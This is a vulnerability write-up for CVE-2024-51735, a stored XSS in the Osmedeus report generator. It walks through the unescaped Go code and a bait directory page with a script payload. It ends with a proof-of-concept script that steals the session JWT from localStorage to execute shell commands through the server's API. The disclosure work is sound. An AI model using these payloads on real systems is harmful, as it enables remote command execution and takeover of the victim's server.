Who is the Hunter, Who is the Prey ??? (CVE-2024-51735)

Who is the Hunter, Who is the Prey ??? (CVE-2024-51735)

Product Overview

Osmedeus is a Workflow Engine for Offensive Security that allows you to build and run a reconnaissance system on a wide range of targets, including domains, URLs, CIDRs, and GitHub repositories. It was designed to establish a strong foundation and has the ability to adapt and function automatically in order to perform reconnaissance tasks.

Vulnerability Summary

XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server.

Vulnerability Detail

When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the general-template.md template.

<p align="center">
  <a href="https://www.osmedeus.org"><img alt="Osmedeus" src="https://raw.githubusercontent.com/osmedeus/assets/main/logo-transparent.png" height="140" /></a>
  <br />
  <br />
  <strong>Execute Summary Generated by Osmedeus {{Version}} at <em>{{CurrentDay}}</em></strong>

  <p align="center">
  <a href="https://docs.osmedeus.org/"><img src="https://img.shields.io/badge/Documentation-0078D4?style=for-the-badge&logo=GitBook&logoColor=39ff14&labelColor=black&color=black"></a>
  <a href="https://docs.osmedeus.org/donation/"><img src="https://img.shields.io/badge/Donation-0078D4?style=for-the-badge&logo=GitHub-Sponsors&logoColor=39ff14&labelColor=black&color=black"></a>
  <a href="https://twitter.com/OsmedeusEngine"><img src="https://img.shields.io/badge/%40OsmedeusEngine-0078D4?style=for-the-badge&logo=Twitter&logoColor=39ff14&labelColor=black&color=black"></a>
  </p>
</p>

## Scan Information 

<scanInfo />

***

## 🚀 Subdomains

<content src="{{Output}}/subdomain/final-{{Workspace}}.txt" shorten=true />

***

## 🌐 HTTP Fingerprint

<content src="{{Output}}/fingerprint/beautify-{{Workspace}}-http.txt" />

***

## 🐞 Vulnerability

### List of Vulnerability Reports

- [**{{Workspace}}-report.html**]({{Output}}/vuln/active/{{Workspace}}-report.html)
- [**{{Workspace}}-sensitive.html**]({{Output}}/vuln/sensitive/{{Workspace}}-sensitive.html)
- [**{{Workspace}}-nuclei.html**]({{Output}}/vuln/nuclei/{{Workspace}}-nuclei.html)

### Jaeles Scan

<content src="{{Output}}/vuln/active/jaeles-summary.txt" />

<content src="{{Output}}/vuln/sensitive/jaeles-summary.txt" />

***

### Nuclei Scan

<content src="{{Output}}/vuln/nuclei/{{Workspace}}-nuclei-scan.txt" />

***

## 🕷️ Spider Content

<content src="{{Output}}/linkfinding/links-{{Workspace}}.txt"/>

***

## 📃 Content Discovery

<content src="{{Output}}/directory/unique-beautify-{{Workspace}}.txt" />

***


## 🔍 Port Scan

<content src="{{Output}}/portscan/open-ports.txt" />


***

The contents of the file scan results are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS. The issue starts with processing the tags, and XSS occurs when the extendTag function is called.

osmedeus/core/markdown.go at 815c261d44f6df1183d77b0b264060eec3168f00 · j3ssie/osmedeus
A Workflow Engine for Offensive Security. Contribute to j3ssie/osmedeus development by creating an account on GitHub.
func (r *Runner) GenMarkdownReport(markdownFile string, outputHTML string) {
	utils.DebugF("Reading markdown report from: %v", markdownFile)

	// get the markdown template content
	mdContent := utils.GetFileContent(markdownFile)
	mdContent = ResolveData(mdContent, r.Target)
    [...snip...]
    
	// replace all the <content /> tag
	mdContent = r.ResolveContentTag(mdContent)

	[...snip...]
}
func (r *Runner) ResolveContentTag(rawData string) string {
	finalMarkdown := rawData
	// finding all the content tags and replace it with the content
	re := regexp.MustCompile(`<content[^>]*>`)
	matchs := re.FindAllString(rawData, -1)
	for _, contentTag := range matchs {
		utils.DebugF("Replace content tag: %v", color.GreenString(contentTag))
		content := r.ResolveContentSrc(contentTag)
		finalMarkdown = strings.Replace(finalMarkdown, contentTag, content, -1)
	}

	return finalMarkdown
}
func (r *Runner) ResolveContentSrc(tag string) string {
	re := regexp.MustCompile(`src=\"(\S+)\"`)
	match := re.FindStringSubmatch(tag)
	if len(match) > 1 {
		fileContent := utils.GetFileContent(match[1])
		utils.DebugF("Replace content src: %v", color.GreenString(match[1]))

		if strings.Contains(tag, "expand=true") {
			return "```\n" + fileContent + "```"
		}

		if strings.Contains(tag, "shorten=true") || len(fileContent) > r.Opt.MDCodeBlockLimit {
			return extendTag(fileContent)
		}

		return "```\n" + fileContent + "```"
	}
	return ""
}
func extendTag(str string) string {
	data := "<details>\n<summary>Click to Expand</summary>\n\n" + "<pre>\n" + str + "\n</pre>" + "\n</details>"
	return data
}

The condition to enter this branch must meet one of the following cases:

  • Tag shorten=true: In the default template, only subdomains have this tag ⇒ Subdomains cannot contain special characters, so XSS is not possible.
  • len(fileContent) > r.Opt.MDCodeBlockLimit: Simply put, the content length needs to exceed the MDCodeBlockLimit configuration (default is 10,000).

After reviewing the files loaded in the default template, we select Spider Content because it meets the conditions:

  • It can contain special characters since the spider retrieves results through Katana ⇒ Katana crawls content based on tags ⇒ We can create custom payloads by leveraging this mechanism."
 <! -- Fake Index Content --> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="1">1</a></li>
<li><a href="?abc=<script>alert(1)</script>">yxfzssjq_1721182234998.pdf</a></li>
</ul>
<hr>
</body>
</html>
  • Easily bypass the condition len(fileContent) > r.Opt.MDCodeBlockLimit
  • Spider is a module within the general workflow ⇒ a default workflow that is most commonly used

Proof-of-Concept

<script>
  fetch(window.location.origin+'/api/osmp/execute',{
    method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),
    headers:{Authorization:'Osmedeus '+localStorage.jwt,
    'Content-Type':'application/json'
    }});
</script>
2024-10-23 16-05-58.mkv

Final Thought

No one is safe even you are the hunter